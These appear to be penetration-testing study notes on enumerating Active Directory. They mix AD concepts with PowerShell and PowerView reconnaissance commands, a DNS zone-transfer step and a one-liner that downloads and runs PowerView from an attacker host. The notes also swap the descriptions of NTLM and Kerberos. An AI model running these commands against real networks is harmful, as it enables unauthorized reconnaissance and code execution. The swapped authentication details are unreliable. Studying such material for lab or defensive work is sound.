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<div class="column column-3">
<ul>
<li><a href="#active-directory-enumeration">Active Directory Enumeration</a><ul>
<li><a href="#domain-controller">Domain Controller</a><ul>
<li><a href="#ad-ds-store">AD DS Store</a></li>
<li><a href="#forest">Forest</a></li>
<li><a href="#users">Users</a></li>
<li><a href="#policies">Policies</a></li>
<li><a href="#domain-services">Domain Services</a></li>
<li><a href="#authentication">Authentication</a></li>
</ul>
</li>
<li><a href="#usage">Usage</a><ul>
<li><a href="#powerview-module">Powerview Module</a></li>
<li><a href="#dns">DNS</a></li>
<li><a href="#tips-tricks">Tips &amp; Tricks</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<h1 id="active-directory-enumeration">Active Directory Enumeration</h1>
<ul>
<li>
<p>Consists of</p>
<ul>
<li>Domain Controller </li>
<li>Organizational Units<ul>
<li>Users</li>
<li>Groups</li>
</ul>
</li>
<li>Trusts</li>
<li>AD Domains</li>
<li>AD Forest</li>
<li>Policies</li>
</ul>
</li>
<li>
<p>Administrative accounts are</p>
<ul>
<li>Domain Admin</li>
<li>Enterprise Admin</li>
<li>Schema Admin</li>
<li>Server Operator</li>
<li>Account Operator</li>
</ul>
</li>
</ul>
<h2 id="domain-controller">Domain Controller</h2>
<ul>
<li>AD Domain Services data store</li>
<li>Authentication and authorization</li>
<li>Update replication / sync with other domain controllers in the forest</li>
<li>Administration of domain resources</li>
</ul>
<h3 id="ad-ds-store">AD DS Store</h3>
<ul>
<li>Database of directory info such as users, groups and services<ul>
<li><code>ntdis.dit</code> contains the information, including password hashes</li>
<li><code>SystemRoot%\NTDS</code></li>
</ul>
</li>
</ul>
<h3 id="forest">Forest</h3>
<ul>
<li><strong>Trees</strong>, hierarchy of domains in the AD Domain Services</li>
<li><strong>Domains</strong>, groups of objects</li>
<li><strong>Organizational Units (OU)</strong>, containers of objects such as groups, users, printers and other resources</li>
<li><strong>Trusts</strong>, allows users to access resources in a different domain</li>
<li><strong>Objects</strong> users, groups, printers, computers or shares</li>
<li><strong>Domain Services</strong>, DNS, LLMNR, SMB</li>
<li><strong>Domain Schema</strong>, Rules for object creation</li>
</ul>
<h3 id="users">Users</h3>
<ul>
<li><strong>Domain Admin</strong>, DC access</li>
<li><strong>Server Accounts</strong>, service maintenance, may have admin permissions</li>
<li><strong>Local Admin</strong>, administrative persmission on an object but not the DC</li>
<li><strong>Domain Users</strong>, average user account on a local machine which may have admin permissions</li>
</ul>
<h3 id="policies">Policies</h3>
<ul>
<li>Rule sets</li>
<li>Apply to a domain</li>
<li>Enable or disables services on a domain basis, like antivirus and malware scanning<ul>
<li><strong>Disable Windows Defender</strong></li>
<li>Communication signing, e.g. SMB</li>
</ul>
</li>
</ul>
<h3 id="domain-services">Domain Services</h3>
<ul>
<li><strong>LDAP</strong></li>
<li><strong>Certificates</strong> handling for services, CRL</li>
<li><strong>DNS, LLMNR, NBT-NS</strong></li>
</ul>
<h3 id="authentication">Authentication</h3>
<ul>
<li><strong>NTLM</strong>, ticket granting service </li>
<li><strong>Kerberos</strong>, challenge/response via hashes</li>
</ul>
<h2 id="usage">Usage</h2>
<ul>
<li>Cmdlets on Domain Controller</li>
<li>
<p>Get some help, <code>Get-Help Get-Command -Examples</code>, <code>Get-Command Get-*</code></p>
</li>
<li>
<p>From <code>ActiveDirectory</code> module</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>Import-Module Active-Directory
Get-ADDomain <span class="p">|</span> Select-Object NetBIOSName,DNSRoot,InfrastructureMaster
Get-ADForest <span class="p">|</span> Select-Object Domains
Get-ADTrust -Filter * <span class="p">|</span> Select-Object Direction,Source,Target
</code></pre></div>
<ul>
<li><code>systeminfo | findstr Domain</code></li>
<li><code>Get-ADUser -filter *</code></li>
<li>Use found CN and DC and specify</li>
<li><code>Get-ADUser -filter * -searchBase "CN=Users,DC=&lt;foundDC&gt;,DC=&lt;domainEnding&gt;"</code></li>
</ul>
<h3 id="powerview-module">Powerview Module</h3>
<ul>
<li><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">Powerview</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>Import-Module .<span class="se">\P</span>owerView.ps1
Get-NetDomain
Get-NetDomainController
Get-NetForest
Get-NetDomainTrust
</code></pre></div>
<h3 id="dns">DNS</h3>
<ul>
<li>Check ip via <code>ipconfig</code></li>
<li><code>nslookup</code>, then <code>server &lt;LocalIP&gt;</code> and zone transfer via </li>
</ul>
<div class="codehilite"><pre><span></span><code>ls -d &lt;Domain&gt;
</code></pre></div>
<h3 id="tips-tricks">Tips &amp; Tricks</h3>
<ul>
<li>Download and execute in one line</li>
</ul>
<div class="codehilite"><pre><span></span><code>powershell -exec bypass -c <span class="s2">&quot;IEX(New-Object Net.WebClient).downloadString(&#39;http://%ATTACKER_IP%:8000/PowerVi</span>
<span class="s2">ew.ps1&#39;); Get-NetUser | select samaccountname, description&quot;</span>
</code></pre></div>
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